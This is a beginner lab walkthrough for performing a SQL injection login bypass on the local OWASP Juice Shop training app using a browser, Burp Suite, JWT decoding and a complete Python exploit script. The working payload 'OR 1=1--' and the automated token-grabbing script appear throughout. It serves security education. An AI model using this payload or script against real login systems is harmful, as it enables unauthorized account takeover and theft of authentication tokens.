1. System Architecture & Workflow
The diagram below shows the complete SQL Injection (SQLi) Login Bypass attack lifecycle. The attacker injects a crafted SQL payload into the web application's login form. The vulnerable server-side query evaluates the injected condition as always-true, bypassing the password check and returning full admin access with an authentication token.
2. Part 1: Step-by-Step Action Items & Key Execution Steps
STEP 1
Launch the OWASP Juice Shop Vulnerable Web Application
Before you can test for web vulnerabilities, you need a deliberately vulnerable web application running on your local machine. OWASP Juice Shop is an intentionally insecure Node.js web app designed specifically for security training.
- Open your Kali Linux VM inside VirtualBox. Wait for the desktop to fully load.
- Click on the Terminal Emulator icon in the top taskbar (it looks like a black rectangular screen). A terminal window will open.
- First, check if Docker is installed by typing the command below and pressing Enter:
$ docker --version
This command asks Docker to print its installed version number. If you see output like Docker version 24.x.x, Docker is installed and ready. If you get "command not found", you need to install Docker first.
- Now pull the Juice Shop Docker image by typing this command and pressing Enter:
$ docker pull bkimminich/juice-shop
This command downloads the Juice Shop container image from Docker Hub to your local machine. The pull subcommand fetches the image layers. bkimminich/juice-shop is the official image name maintained by the OWASP Juice Shop creator.
What you should see: Several download progress bars showing image layers being pulled. When complete, you'll see "Status: Downloaded newer image for bkimminich/juice-shop:latest".
- Start the Juice Shop container by running:
$ docker run -d -p 3000:3000 --name juice-shop bkimminich/juice-shop
This command creates and starts a new Docker container from the Juice Shop image, mapping port 3000 inside the container to port 3000 on your host machine, so you can access the web app in your browser.
Let's break down each flag in this command:
| Flag | What It Does |
docker run | Creates a new container from an image and starts it |
-d | Runs the container in detached mode (in the background), so your terminal stays free for other commands |
-p 3000:3000 | Maps host port 3000 to container port 3000. Format is host:container. This means visiting localhost:3000 on your browser connects to the app inside the container |
--name juice-shop | Gives the container a human-readable name juice-shop instead of a random string, making it easier to manage later |
bkimminich/juice-shop | The Docker image to create the container from (the one we just pulled) |
- Verify the container is running:
$ docker ps
This command lists all currently running Docker containers with their IDs, names, ports, and status. You should see juice-shop in the output with status Up.
What you should see: A table showing CONTAINER ID, IMAGE (bkimminich/juice-shop), STATUS (Up X seconds), and PORTS (0.0.0.0:3000->3000/tcp).
- Open Firefox browser (click the Firefox icon in the taskbar).
- In the address bar at the top, type
http://localhost:3000 and press Enter.
- Wait 5-10 seconds for the page to load. You should see the OWASP Juice Shop storefront with products displayed.
- Click the "Dismiss" button on any welcome popup that appears.
What you should see: A colourful e-commerce website showing fruit juice products with an "All Products" heading, a search bar at the top, and a navigation menu with Account, Orders, and other options.
STEP 2
Execute SQL Injection Login Bypass in Browser
Now you will exploit a SQL Injection vulnerability in the Juice Shop's login form. SQL Injection works by inserting SQL code into input fields that the server directly includes in database queries without proper sanitization.
- In the Juice Shop page (http://localhost:3000), look at the top-right corner of the navigation bar.
- Click on the "Account" button (it looks like a person icon).
- A dropdown menu appears. Click on "Login".
- You are now on the Login page (
http://localhost:3000/#/login). You should see two input fields: Email and Password, plus a "Log in" button.
- Click inside the Email input field (the first text box).
- Type the following SQL injection payload exactly as shown:
admin@juice-sh.op' OR 1=1--
- Now click inside the Password input field (the second text box).
- Type any single character, for example:
a (the password doesn't matter because the SQL injection bypasses password checking entirely).
- Click the "Log in" button (the green/blue button below the form fields).
- You should see a green banner at the top that says "Successfully logged in" and you are now logged in as the administrator without knowing the real password!
What you should see: The navigation bar now shows "admin@juice-sh.op" as the logged-in user. You have full administrator access to the entire application.
How This SQL Injection Works — Explained
The Juice Shop server uses a vulnerable SQL query like this to check login credentials:
SELECT * FROM Users WHERE email='[USER_INPUT]' AND password='[USER_INPUT]'
This is the template SQL query. The server takes whatever the user types in the email and password fields and directly inserts it into the query — without checking if the input contains SQL commands.
When you type admin@juice-sh.op' OR 1=1-- in the email field, the query becomes:
SELECT * FROM Users WHERE email='admin@juice-sh.op' OR 1=1--' AND password='a'
The injected payload breaks out of the email string using the single quote ('), then adds OR 1=1 which is always true, making the WHERE clause return all users. The -- starts a SQL comment, which disables the rest of the query including the password check.
Let's break down each piece of the injection payload:
| Piece | What It Does |
admin@juice-sh.op | A legitimate-looking email address that targets the admin account |
' (single quote) | Closes the email string parameter in the SQL query, ending the expected input |
OR 1=1 | Adds a new SQL condition that is always true (1 always equals 1), so the WHERE clause matches every row in the Users table |
-- (double dash) | Starts a SQL comment, which tells the database to ignore everything after it — this disables the AND password='...' check entirely |
STEP 3
Configure Burp Suite Proxy to Intercept Web Traffic
Burp Suite is a web security testing tool that acts as a proxy server between your browser and the target web application. It captures all HTTP requests and responses so you can inspect and modify them.
- In your Kali Linux VM, click on the Applications Menu (top-left corner of the screen).
- Navigate to Web Application Analysis → click on "Burp Suite".
- Burp Suite will start loading. A splash screen appears — wait for it to finish.
- When the project selection screen appears, select "Temporary Project" (already selected by default) and click "Next".
- On the configuration screen, keep "Use Burp defaults" selected and click "Start Burp".
- Wait 10-20 seconds for the Burp Suite interface to fully load. You should see the main dashboard with multiple tabs at the top.
- Click on the "Proxy" tab at the top of the Burp Suite window.
- Click on the "Intercept" sub-tab (it should already be visible).
- Make sure the button says "Intercept is on" (it should be highlighted/active). If it says "Intercept is off", click the button to toggle it on.
- Now click on the "Proxy settings" sub-tab (or go to Proxy → Options in older versions).
- Verify that the proxy listener is configured to listen on 127.0.0.1:8080. This means Burp is running on your local machine on port 8080.
Configure Firefox to Route Traffic Through Burp Suite
- Switch to Firefox browser.
- Click the hamburger menu (☰ three horizontal lines) in the top-right corner of Firefox.
- Click "Settings" from the dropdown menu.
- Scroll all the way down to the bottom of the Settings page until you see the "Network Settings" section.
- Click the "Settings..." button next to "Configure how Firefox connects to the internet".
- In the Connection Settings dialog that opens, select "Manual proxy configuration".
- In the "HTTP Proxy" field, type:
127.0.0.1
- In the "Port" field next to it, type:
8080
- Check the box that says "Also use this proxy for HTTPS".
- Delete anything in the "No proxy for" field to ensure all traffic goes through Burp.
- Click "OK" to save the settings.
What you should see: Firefox is now configured to send all its web traffic through Burp Suite's proxy on port 8080. Any page you visit in Firefox will be intercepted by Burp Suite first.
STEP 4
Intercept and Replay the Login API Request via Burp Suite
Now you will perform the SQL injection attack again, but this time capture the actual HTTP request in Burp Suite so you can see exactly what data is being sent to the server.
- In Firefox (still proxied through Burp), navigate to
http://localhost:3000/#/login.
- If Burp intercepts the page load, switch to Burp Suite and click "Forward" repeatedly (or click "Intercept is on" to toggle it off temporarily, load the page, then toggle it back on).
- Once the login page loads, switch back to Burp Suite and make sure "Intercept is on" (toggle it on if it's off).
- Switch back to Firefox.
- In the Email field, type:
admin@juice-sh.op' OR 1=1--
- In the Password field, type:
a
- Click the "Log in" button.
- Immediately switch to Burp Suite. You should see a captured HTTP request in the Intercept window.
- Look at the request body at the bottom. You will see the JSON payload with your injection string.
- Right-click anywhere on the captured request text.
- From the right-click context menu, click "Send to Repeater" (or press Ctrl + R).
- Click "Forward" to let the request continue to the server.
- Now click on the "Repeater" tab at the top of Burp Suite.
- You should see the captured request on the left side. Click the "Send" button.
- On the right side, examine the Response. Look for the
"authentication" field containing the JWT token.
What you should see: In the Response panel, you'll see JSON data like {"authentication":{"token":"eyJhbG...","bid":1,"umail":"admin@juice-sh.op"}}. This is the administrator's JSON Web Token (JWT) — proof that the SQL injection successfully bypassed authentication.
STEP 5
Decode the Captured JWT Token
A JSON Web Token (JWT) has three parts separated by dots: Header.Payload.Signature. Each part is Base64-encoded. You'll decode it to see what information it contains about the logged-in user.
- Copy the JWT token string from the Burp Suite response (it starts with
eyJ and contains two dots).
- Switch to your Terminal window.
- Run the following command to decode the JWT payload (the middle part between the dots):
$ echo "PASTE_YOUR_JWT_TOKEN_HERE" | cut -d '.' -f 2 | base64 -d 2>/dev/null; echo
This pipeline extracts and decodes the payload section of the JWT token, revealing the user identity, role, and token expiration data encoded inside it.
Let's break down each part of this command pipeline:
| Part | What It Does |
echo "..." | Prints the JWT token string to standard output (stdout) |
| (pipe) | Takes the output of the previous command and sends it as input to the next command |
cut -d '.' -f 2 | Splits the string using . (dot) as a delimiter (-d '.') and extracts the 2nd field (-f 2), which is the JWT payload |
| | Pipes the extracted payload to the next command |
base64 -d | Decodes the Base64-encoded payload into readable JSON text (-d means decode) |
2>/dev/null | Redirects any error messages to /dev/null (discards them) — some Base64 padding errors may occur but the output is still readable |
; echo | Prints a newline after the output so your terminal prompt appears on a new line |
What you should see: JSON output showing the admin user details, such as: {"status":"success","data":{"id":1,"username":"admin","email":"admin@juice-sh.op","role":"admin"}}
3. Automation Architecture
The diagram below shows the automated exploitation pipeline: from crawling/spidering the target site to fuzzing inputs, exploiting SQLi vulnerabilities, exfiltrating authentication tokens via the API, and finally writing the penetration test report.
4. Part 2: Code Breakdown — Line by Line
Below is the Python exploit script sqli_bypass.py that automates the SQL Injection login bypass. We will first explain each line individually, then show the complete combined script at the end.
Line-by-Line Explanation
# sqli_bypass.py - Automated SQLi Login Bypass Script
Line 1 — Comment: This is a comment (starts with #). Comments are ignored by Python and are used to describe what the file does. This tells anyone reading the code that this script automates a SQL Injection login bypass attack.
import requests
Line 2 — Import: This imports the requests library, which allows Python to send HTTP requests (like GET, POST) to web servers. We need this to send our SQL injection payload to the Juice Shop login API endpoint, simulating what a browser does when you click "Log in".
import json
Line 3 — Import: This imports the json library, which provides functions to convert Python dictionaries into JSON strings and vice versa. The Juice Shop API expects login data in JSON format (like {"email":"...","password":"..."}), so we need this to format our payload correctly.
def exploit_login():
Line 4 — Function Definition: This creates a new function called exploit_login. A function is a reusable block of code. The def keyword defines it, and the () means it takes no input parameters. The colon : marks the beginning of the function's code block.
url = "http://localhost:3000/rest/user/login"
Line 5 — Variable Assignment: This creates a variable called url and stores the login API endpoint address. http://localhost:3000 is your local Juice Shop server, and /rest/user/login is the specific API route that handles login requests. This is where the browser sends data when you click "Log in".
headers = {"Content-Type": "application/json"}
Line 6 — HTTP Headers: This creates a dictionary called headers that tells the server what type of data we're sending. "Content-Type": "application/json" means our request body will be in JSON format. Without this header, the server might reject our request because it doesn't know how to interpret the data.
# Malicious SQL payload injected into the email field
Line 7 — Comment: This comment warns that the next lines contain the actual attack payload — the SQL injection string that will be inserted into the email field.
payload = {
"email": "admin@juice-sh.op' OR 1=1--",
"password": "arbitraryPassword"
}
Lines 8-11 — Payload Dictionary: This creates the malicious login data. The "email" value contains the SQL injection string admin@juice-sh.op' OR 1=1-- which breaks the SQL query and bypasses authentication. The "password" is set to any random string because the SQL injection makes the server skip the password check entirely.
print(f"[*] Sending exploit payload to {url}...")
Line 12 — Status Message: This prints a status message to your terminal showing which URL the exploit is targeting. The f"..." is an f-string, which lets you insert variable values (like {url}) directly inside the text. The [*] prefix is a common convention in security tools to indicate an informational message.
response = requests.post(url, headers=headers, data=json.dumps(payload))
Line 13 — Send HTTP POST: This is the core exploit line. requests.post() sends an HTTP POST request to the login URL. headers=headers attaches our Content-Type header. data=json.dumps(payload) converts our Python dictionary into a JSON string and sends it as the request body. The server's response (success or failure) is stored in the response variable.
if response.status_code == 200:
Line 14 — Check Response: This checks if the server returned HTTP status code 200, which means "OK" / "Success". If the login bypass worked, the server responds with 200. If it failed, it would return 401 (Unauthorized) or another error code.
data = response.json()
Line 15 — Parse JSON Response: This converts the server's response body from a JSON string into a Python dictionary so we can easily extract specific values from it (like the authentication token).
token = data.get("authentication", {}).get("token", "")
Line 16 — Extract JWT Token: This safely navigates the JSON response to extract the JWT token. data.get("authentication", {}) gets the "authentication" object (or an empty dict if it doesn't exist). Then .get("token", "") extracts the "token" value from it. The .get() method is used instead of ["key"] to prevent crashes if the key doesn't exist.
print("[+] Exploit Success! Logged in as administrator.")
Line 17 — Success Message: This prints a success message. The [+] prefix is a security tool convention meaning "positive result" or "success".
print(f"[+] Retrieved JWT Token: {token[:50]}...")
Line 18 — Print Token: This prints the first 50 characters of the JWT token. token[:50] is Python slicing — it takes characters from index 0 to 49. We only show 50 characters because JWTs are very long strings, and the truncated version is enough to confirm the exploit worked.
else:
Line 19 — Else Clause: If the status code was NOT 200 (meaning the exploit failed), Python executes the code inside this else block instead.
print(f"[FAIL] Exploit failed. Status code: {response.status_code}")
Line 20 — Failure Message: This prints an error message with the actual HTTP status code returned. [FAIL] indicates the exploit did not work. Common failure codes: 401 = Unauthorized, 500 = Server Error.
if __name__ == "__main__":
Line 21 — Main Guard: This is Python's standard entry point check. __name__ is a special variable that Python sets to "__main__" when you run the file directly (e.g., python sqli_bypass.py). This ensures the function only runs when you execute this file directly, not when it's imported by another script.
exploit_login()
Line 22 — Function Call: This actually calls (executes) the exploit_login() function we defined above. Without this line, the function would exist but never run.
✅ Complete Combined Script: Now that you understand every line, here is the full script combined. Create a new file called sqli_bypass.py and paste all the code below into it.
How to Create and Run the Script
- Open your Terminal in Kali Linux.
- Type the following command to create a new Python file and press Enter:
$ nano sqli_bypass.py
This opens the nano text editor and creates a new file called sqli_bypass.py in your current directory. Nano is a simple terminal-based text editor that's easy for beginners.
- The nano editor opens with an empty file. Copy all the code below and right-click → Paste it into the editor:
Copy
# sqli_bypass.py - Automated SQLi Login Bypass Script
import requests
import json
def exploit_login():
url = "http://localhost:3000/rest/user/login"
headers = {"Content-Type": "application/json"}
# Malicious SQL payload injected into the email field
payload = {
"email": "admin@juice-sh.op' OR 1=1--",
"password": "arbitraryPassword"
}
print(f"[*] Sending exploit payload to {url}...")
response = requests.post(url, headers=headers, data=json.dumps(payload))
if response.status_code == 200:
data = response.json()
token = data.get("authentication", {}).get("token", "")
print("[+] Exploit Success! Logged in as administrator.")
print(f"[+] Retrieved JWT Token: {token[:50]}...")
else:
print(f"[FAIL] Exploit failed. Status code: {response.status_code}")
if __name__ == "__main__":
exploit_login()
- After pasting the code, press Ctrl + O (that's the letter O, not zero) to save the file.
- Nano will ask "File Name to Write:" — just press Enter to confirm the filename.
- Press Ctrl + X to exit the nano editor and return to the terminal.
- Now run the script by typing:
$ python sqli_bypass.py
This executes the Python script. Python reads the file, runs the exploit_login() function, sends the SQL injection payload to the Juice Shop API, and prints whether the attack succeeded along with the captured JWT token.
Expected Output:
[*] Sending exploit payload to http://localhost:3000/rest/user/login...
[+] Exploit Success! Logged in as administrator.
[+] Retrieved JWT Token: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdGF0...
5. Deliverables Summary
Created Files / Templates
sqli_bypass.py — Automated SQL injection login bypass Python script
- Decoded JWT token output showing admin user identity
- Penetration testing notes documenting the SQLi vulnerability
Verification Artifacts
- Screenshot of Juice Shop showing successful admin login via SQLi in browser
- Screenshot of Burp Suite Repeater showing intercepted login request and JWT response
- Terminal output of
sqli_bypass.py showing "[+] Exploit Success!" message
6. Closing Explanation: Why We Did This & What It Accomplishes
Architectural Intent & Operational Impact
Why We Did This
- SQL Injection remains one of the most critical web vulnerabilities (OWASP Top 10 #A03:2021 Injection). Understanding how it works from the attacker's perspective teaches you exactly what to defend against.
- Intercepting traffic with Burp Suite reveals the raw HTTP communication between browser and server, showing how authentication tokens are transmitted and where they can be stolen.
- Writing automated exploit scripts demonstrates that real attackers don't perform attacks manually — they script them. This trains you to think about scalable defenses.
- Decoding JWT tokens shows that authentication data is not encrypted by default — it's only Base64-encoded, meaning anyone who captures a token can read the user's identity and role.
What This Accomplishes
- You can now identify and exploit SQL Injection vulnerabilities in web application login forms, understanding the exact mechanism by which authentication is bypassed.
- You've learned to use Burp Suite as a proxy interceptor, allowing you to capture, inspect, modify, and replay any HTTP request between a browser and web server.
- You've written a Python script that programmatically exploits a web API, which is the foundation for automated security testing and penetration testing workflows.
- You understand JWT token structure and can decode tokens to extract sensitive user data, which is essential for API security assessments.